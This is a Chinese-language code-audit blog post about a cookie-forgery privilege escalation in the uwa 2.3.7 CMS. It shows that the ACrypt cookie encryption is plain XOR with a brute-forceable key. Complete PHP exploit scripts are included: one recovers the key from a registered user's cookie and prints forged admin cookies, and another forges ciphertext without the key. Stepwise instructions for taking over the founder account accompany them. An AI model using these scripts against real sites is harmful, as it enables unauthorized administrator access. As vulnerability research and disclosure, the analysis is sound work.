uwa 2.3.7 cookie越权分析

作者: 分类: 代码审计 时间: 2017-01-11 浏览: 3780 评论: 2条评论

前言

uwa 2.3.7

可以用创始人的身份进入前台

如有发现其他漏洞 欢迎交流讨论。

正文

问题出在/core/lib/ext/ACrypt.class.php

class ACrypt {
    /* array can serialize to string before encrypt */
    public static function encrypt($txt, $key = '') {
        $encrypt_key = md5(mt_rand(0, 32000));
        $ctr = 0;
        $tmp = '';
        for($i = 0; $i < strlen($txt); $i++) {
            $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
            $tmp .= $encrypt_key[$ctr] . ($txt[$i] ^ $encrypt_key[$ctr++]);
        }
        return base64_encode(self::_crypt($tmp, $key));
    }

    public static function decrypt($txt, $key = '') {
        $txt = self::_crypt(base64_decode($txt), $key);
        $tmp = '';
        for($i = 0; $i < strlen($txt); $i++) {
            $md5 = $txt[$i];
            $tmp .= $txt[++$i] ^ $md5;
        }
        return $tmp;
    }

    private static function _crypt($txt, $encrypt_key) {
        $encrypt_key = md5($encrypt_key);
        $ctr = 0;
        $tmp = '';
        for($i = 0; $i < strlen($txt); $i++) {
            $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
            $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
        }
        return $tmp;
    }
}

在加密时,先取一个范围0~32000的随机数md5后作为encrypt_key
然后计算$tmp .= $encrypt_key[$ctr] . ($txt[$i] ^ $encrypt_key[$ctr++]);
注意这里是$ctr++ 先运算,后加1
也就是说只要把tmp的值 每俩位xor 即可得到明文 (这也是解密函数的做法)
真正的加密只有_crypt函数,而这个函数的只实现了一个与密钥进行xor的运算。

看一下验证代码

if(ASession::get('member_id')) {
    if(!ACookie::get('member_id')) {
        $_MI = M('Member')->field('m_userid,m_username')->where(array('member_id' => array('EQ', ASession::get('member_id'))))->find();
        ACookie::set('member_id', ASession::get('member_id'));
        ACookie::set('m_userid', $_MI['m_userid']);
        ACookie::set('m_username', $_MI['m_username']);
    }
}
elseif(ACookie::get('member_id') > 0) {
    $_mid = intval(ACookie::get('member_id'));
    $_MI = M('Member')->field('m_userid,m_username,m_status,member_level_id')->where(array('member_id' => array('EQ', $_mid)))->find();
    if($_MI['m_userid'] == ACookie::get('m_userid')) {
        ASession::set('member_id', $_mid);
        ASession::set('m_userid', $_MI['m_userid']);
        ASession::set('m_username', $_MI['m_username']);
        ASession::set('m_status', $_MI['m_status']);
        ASession::set('ml_rank', M('Member')->get_mlRank($_mid));
        ASession::set('member_level_id', $_MI['member_level_id']);
    }
    else {
        ASession::clear();
        ACookie::clear();
    }

在实例化member控制器时,如果session中无member_id值
系统先解密member_id,然后查询数据库中member_id对应的user_id,如果和解密的user_id对应,则验证通过
只需要知道1(admin的user_id)和admin的加密值,即可伪造admin

利用思路1

由于真正的加密只需要知道一组明文密文,就可以得到密钥,进而控制由cookie得到的任何值。
(注意这里的明文、密文和密钥都是针对_crypt函数来说的 这很关键)
密文很容易得到,在会员登录后,就会将会员用户名序列化后加密后保存。
明文是 会员用户名序列化后的值 经过encrypt函数后得到的tmp值
这里encrypt_key不知道,但是范围只有0~32000的md5值 我们可以爆破明文的值。
注册一个9位的用户名,序列化后为16位,得到tmp值为32位。
计算 明文^密文=密钥
当得到的密钥是32位md5值时,得到真实密钥。

show code

<?php
function testkey($testname,$result){
    for($j = 0;$j<32000;$j++){
#        echo "test ".$j."<br>";
        $encrypt_key = md5($j);
        $ctr = 0;
        $tmp = '';
        for($i = 0; $i < strlen($testname); $i++) {
            $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
            $tmp .= $encrypt_key[$ctr] . ($testname[$i] ^ $encrypt_key[$ctr++]);
        }
        $encrypt_key=$tmp;
        $ctr = 0;
        $tmp = '';
        for($i = 0; $i < strlen($result); $i++) {
            $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
            $tmp .= $result[$i] ^ $encrypt_key[$ctr++];
        }
        #die();
        if(preg_match("/^[0-9a-f]{32}$/",$tmp))
            return $tmp;
        
    }
    return False;
}


function encrypt($txt, $key = '') {
        $encrypt_key = md5(mt_rand(0, 32000));
        $ctr = 0;
        $tmp = '';
        for($i = 0; $i < strlen($txt); $i++) {
            $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
            $tmp .= $encrypt_key[$ctr] . ($txt[$i] ^ $encrypt_key[$ctr++]);
        }
        return base64_encode(_crypt($tmp, $key));
    }

function _crypt($txt, $encrypt_key) {
        $ctr = 0;
        $tmp = '';
        for($i = 0; $i < strlen($txt); $i++) {
            $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
            $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
        }
        return $tmp;
    }
    
//改成你注册的用户名 必须是9位
$testname=serialize("testtest2");
#echo $testname;
//改成你返回的uwa_m_userid值
$result=base64_decode("CnMNMQE0BWUHbAV2CnwIbAUmCXNUJwI9UiUNLgUhCTsAeQZ0UHYEbQ==");
$xorkey = testkey($testname,$result);
if(!$xorkey) {echo "failed!perhaps error lenth of username";die();}
echo "xorkey: ".$xorkey."<br>";
$fakeid = encrypt(serialize(1),$xorkey);
echo "uwa_member_id: ".$fakeid."<br>";
$fakename = encrypt(serialize("admin"),$xorkey);
echo "uwa_m_userid: ".$fakename;
//拿着uwa_member_id,uwa_m_userid  修改一下phpsession 刷新会员页面即可


利用思路2

这是一种不需要密钥直接伪造密文的方法 也是我写这篇文章想记录的思路
参考 http://www.2cto.com/article/201411/353314.html


M=m1,m2,m3,m4... (S代表进入encrypt的明文)
E=e1,e2,e3,e4... (E代表encrypt函数中的encrypt_key)
S=s1,s2,s3,s4... (S代表_crypt中md5后的encrypt_key)

加密过程如下
1、进入encrypt $tmp=e1,e1^m1,e2,e2^m2...
2、进入_crypt $tmp=e1^s1,e1^m1^s2,e2^s3,e2^m2^s4...

密文为e1^s1,e1^m1^s2,e2^s3,e2^m2^s4...

xor密文前俩位得到s1^s2^m1

考虑如下形式的新密文 a,a^s1^s2^m1...

解密过程如下
1、进入_crypt $tmp=a^s1,a^s1^m1(a^s1^s2^m1 ^ s2=a^s1^m1)...
2、进入decrypt $tmp=m1 (a^s1 ^ a^s1^m1)

竟然得到了明文m1
orz

附上代码

<?php

function cracked($Expressly, $Ciphertext, $str, $way)
{
    $Ciphertext = base64_decode($Ciphertext);
    
    if ($way == "descrypt") {
        $text2 = "";
        
        $str = base64_decode($str);
        
    } else {
        $text2 = "a";
        
    }
    
    
    
    $j = 0;
    
    
    
    $s = 0;
    
    
    
    for ($i = 0; $i < strlen($str); $i++, $s++) {
        if ($j == 32) {
            $j = 0;
            $s = 0;
        }
        
        
        
        $tmp = $Ciphertext[$j] ^ $Ciphertext[$j + 1];
        
        
        
        $tmp = $tmp ^ $Expressly[$s];
        
        
        
        $tmp = $tmp ^ $str[$i];
        
        if ($way == "descrypt") {
            $text1 = $tmp ^ $str[++$i];
            
        }
        
        else {
            $text1 = $tmp ^ $text2;
            
        }
        
        $xxoo = $xxoo . $text2 . $text1;
        
        
        
        $j = $j + 2;
        
    }
    
    
    
    if ($way == "descrypt") {
        echo $xxoo;
    }
    
    else {
        echo base64_encode($xxoo);
    }
    
}

$a = $_GET['a'];
$a = serialize($a);
cracked("s:24:\"a11111111111111111111111\";", "AXhTbwE3VjBSOVIhCmlebgZnXmFUYgdsAzZQNlEwBGIONQcwUGUAY1MzVTUGNVlpUDEMMwUzUToANQRiVCYFaQ==", $a, "encrypt");



?>

ps 突然发现wooyun上有过 =.=
https://wizardforcel.gitbooks.io/php-common-vulnerability/content/58.html
里面的32^36次是在爆破字符吧..

利用思路3

并不是针对加密算法的思路,而是针对加密cookie的思路

如果有一个可控的加密点,就可以伪造任意数据

在文件/uwa/lib/ctrlr/Member/MemberCtrlr.class.php 中
登陆后会设置3个cookie值

ACookie::set('member_id', $_MI['member_id'], null, null, $expireTime);
ACookie::set('m_userid', $_MI['m_userid'], null, null, $expireTime);
ACookie::set('m_username', $_MI['m_username'], null, null, $expireTime);

其中member_id是自增长的,无法控制
user_id是用户名 是唯一值
m_username是昵称,而且不是唯一的

所以 先注册一个昵称为1的用户,得到1的加密值
再注册一个昵称为admin的用户,得到admin的加密值

就可以登陆了 XD

利用思路4

承接思路4,虽然user_id是唯一的,但是在这个加密算法,是序列加密,但没有反馈链。
也就是说把加密a和加密b的结果连在一起 就是加密ab的结果
不过这里setcookie是先做序列化的

if(!is_null($value)) {
            
    $value = ACrypt::encrypt(serialize($value), $key);
}
setCookie($prefix . $name, $value, $expire, $path, $domain);

略有不同,但是位数是固定的,所以,裁剪一下再拼接就好啦

标签: none

订阅本站(RSS)

已有 2 条评论

  1. 其实就是dede的算法感觉是...

    时间: 2017-01-12 at 12:27 回复
    1. 是的 以前没看过 =。=

      时间: 2017-01-12 at 13:11 回复

添加新评论